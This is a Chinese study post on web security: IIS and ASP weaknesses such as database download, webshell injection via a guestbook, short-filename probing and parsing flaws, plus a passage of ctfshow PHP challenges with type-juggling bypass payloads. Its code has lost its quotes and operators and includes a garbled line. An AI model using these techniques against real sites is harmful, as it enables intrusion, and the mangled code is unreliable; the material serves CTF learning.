网站建设结构设计方案,中国网络营销平台,品牌vi设计包含哪些,网业协同文章目录 知识补充ASP安全Aspx安全分析与未授权访问php特性web89~97靶场练习ctfshow 知识补充
使用thinkphp开发的框架#xff0c;其首页访问指向public目录#xff0c;指向其中的index.php文件 指向的index.php打开网页后是如下情况#xff0c;代码如下 定义应用目… 文章目录 知识补充ASP安全Aspx安全分析与未授权访问php特性web89~97靶场练习ctfshow 知识补充
使用thinkphp开发的框架其首页访问指向public目录指向其中的index.php文件 指向的index.php打开网页后是如下情况代码如下 定义应用目录是将文件首页展示在上图的application目录下其下有index.php文件
// 定义应用目录
define(APP_PATH, __DIR__ . /../application/);
// 加载框架引导文件
require __DIR__ . /../thinkphp/start.php;application目录index.php文件 thinkphp框架首页访问的目录 想要得到的目录与首页的关系 http://127.0.0.1:8088/index.php/index/index/index index.php为应用入口的文件接着为index目录index类(模块)index方法
所以在一下目录创建另一个类访问时更换后面的方法即可。访问页面变为1index字符串 http://127.0.0.1:8088/index.php/index/index/ix http://127.0.0.1:8088/index.php/index/ceshi/test HTTP 常见方法 文件路径的正斜杠/与反斜杠\
ASP安全
Microsoft Active Server PagesASP是服务器端脚本编写环境。 主要包含MDB下载植入IIS短文件名写权限解析
环境搭建组合windows iis asp access/sql server
主要包含ASP-数据库-MDB默认下载access数据库一般后缀名mdb(下载)、asp 、asa 执行解析 mdb文件在网站目录下思路如果知道数据库的地址可尝试下载获取数据库文件获取当前管理员账号密码信息。 默认下载使用aspaccess数据库却不修改默认mdb地址。IIS不能解析MDB文件当成普通文件下载。文件服务器端不会解释客户端浏览器也不会解释所以就下载到本地。 思路位置地址如果没有修改默认数据库文件位置可尝试默认数据库配置即本地搭建后默认存放的数据库文件与其他文件位置比如admin后台管理页面等没修改。或采用扫描
ASP-数据库-ASP后门植入连接数据库是aspasp可解析向asp数据库文件写入一句话木马可以直接连上去此时访问数据库文件将会被服务器当成代码文件执行所以图片里面的代码就会被执行。 以aspcms为例: aspcms主要是信息发布系统数据库默认配置为asp目录在/data/data.asp下。 漏洞成因在留言板处对信息处理不当导致代码注入。可直接将一句话木马插入数据库。 利用方法保证默认数据库路径未更改且可留言。
┼攠數畣整爠煥敵瑳∨≡┩愾ASP-中间件-IIS短文件名探针-安全漏洞为兼容16位MS-DOS程序Windows为文件名较长的文件和文件夹生成了对应的windows 8.3 短文件名。 在Windows下查看对应的短文件名可以使用命令 dir /x 短文件名特征 \1) 只有前六位字符直接显示后续字符用~1指代。其中数字1还可以递增如果存在多个文件名类似的文件名称前6位必须相同且后缀名前3位必须相同。 \2) 后缀名最长只有3位多余的被截断。 \3) 访问构造的某个存在的短文件名会返回404 \4) 访问构造的某个不存在的短文件名会返回400 ASP-中间件-IIS文件上传解析-安全漏洞在 Windows 2003 IIS 6.0 下有两个漏洞IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式这就引发了IIS目录解析漏洞和文件名解析漏洞。 目录解析对于名字为**.asp后缀的文件夹**IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。 文件名解析对于名字诸如a.asp;.jpg文件IIS并非以最后一个后缀名来判断格式故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。
ASP-中间件-IIS配置目录读写-安全配置在web服务扩展中开启了WebDAV配置了可以写入的权限存在PUT任意文件写入漏洞。
web之ASP安全参考文章 小迪讲解参考 复现靶场应用墨者_IIS写权限漏洞分析溯源
Aspx安全分析与未授权访问
未授权访问 判断用户的身份后台有多个功能性的文件页面
在每个文件里添加验证的代码通常为cookie创建一个专门的文件用于判断其它验证文件包含它
找未授权访问
找那些没有包含验证代码的文件判断验证代码是否有绕过的可能
.net是c#的框架其源码反编译课直接拖进ILSpy中。 aspx开发网站会存在信息泄露在网站根目录下的web.config配置文件中customError设置导致报错信息造成的信息泄露。
ASP.NET审计参考
php特性web89~97
与的区别https://blog.csdn.net/qq_63792137/article/details/127594787 弱时不比较类型如1时1.011a等都一样 强时必须数据类型也一样MD5 与的比较 若用0e绕过强用数组绕过intval缺陷绕过 int intval ( mixed $var [, int $base 10 ] ) php中intval函数 是用于获取变量的整数值当后面的base为0时可根据输入的进制数转为10进制。echo intval(4.2); // 4
echo intval(42); // 42
echo intval(42); // 42
echo intval(-42); // -42
echo intval(042); // 34
echo intval(042); // 42
echo intval(1e10); // 10000000000
echo intval(1e10); // 10000000000
echo intval(1e10); // 10000000000
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval(420000000000000000000); // 2147483647
echo intval(42, 8); // 42
echo intval(42, 8); // 34
echo intval(array()); // 0
echo intval(array(foo, bar)); // 1strpos()函数查找字符串在另一字符串中第一次出现的位置区分大小写 可以利用换行进行绕过%0aurl编码是回车换行当返回的位置为0时if判断也是false所以输出的也是false。in_array第三个参数安全 bool in_array ( mixed $needle , array $haystack [, bool $strict FALSE ] )搜索数组中是否存在指定的值。 第三个参数为true时检查搜索的数据与数组的值的类型是否相同。 PHP代码审计04之strpos函数使用不当preg_match用于执行一个全局正则表达式匹配 preg_match只能处理字符串如果不按规定传一个字符串通常是传一个数组进去这样就会报错 /i不区分大小写 /m换行匹配 str_replace其他字符替换字符串中的一些字符开发中用于过滤某些字符串 但是其仅仅只过滤一次所以可以双写进行绕过
靶场练习ctfshow
web89:数组绕过
include(flag.php);
highlight_file(__FILE__);if(isset($_GET[num])){$num $_GET[num];if(preg_match(/[0-9]/, $num)){die(no no no!);}if(intval($num)){echo $flag;}
}pyload?num[]1 web90:强类型比较
include(flag.php);
highlight_file(__FILE__);
if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(intval($num,0)4476){echo $flag;}else{echo intval($num,0);}
}pyload?num4476.0或0x117c web91:/m换行匹配
show_source(__FILE__);
include(flag.php);
$a$_GET[cmd];
if(preg_match(/^php$/im, $a)){if(preg_match(/^php$/i, $a)){echo hacker;}else{echo $flag;}
}
else{echo nonononono;
}pyload?cmd%0aphp web92:弱类型比较
include(flag.php);
highlight_file(__FILE__);
if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(intval($num,0)4476){echo $flag;}else{echo intval($num,0);}
}pyload?num4476.1abc web93:弱类型过滤字母
include(flag.php);
highlight_file(__FILE__);
if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]/i, $num)){die(no no no!);}if(intval($num,0)4476){echo $flag;}else{echo intval($num,0);}
}pyload?num4476.1或8进制绕过 web94:强类型必须为整数判断传入是否有0
include(flag.php);
highlight_file(__FILE__);
if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]/i, $num)){die(no no no!);}if(!strpos($num, 0)){die(no no no!);}if(intval($num,0)4476){echo $flag;}
}pyload?num%20010574或用%0a绕过(20为空格) web95:与上题一样多过滤了一个“.”
include(flag.php);
highlight_file(__FILE__);
if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]|\./i, $num)){die(no no no!!);}if(!strpos($num, 0)){die(no no no!!!);}if(intval($num,0)4476){echo $flag;}
}pyload?num%20010574或用%0a绕过(20为空格) web96:访问当前目录文件
highlight_file(__FILE__);if(isset($_GET[u])){if($_GET[u]flag.php){die(no no no);}else{highlight_file($_GET[u]);}
}pyload?u./flag.php web97:MD5强绕过
include(flag.php);
highlight_file(__FILE__);
if (isset($_POST[a]) and isset($_POST[b])) {
if ($_POST[a] ! $_POST[b])
if (md5($_POST[a]) md5($_POST[b]))
echo $flag;
else
print Wrong.;
}pyloada[]1b[]s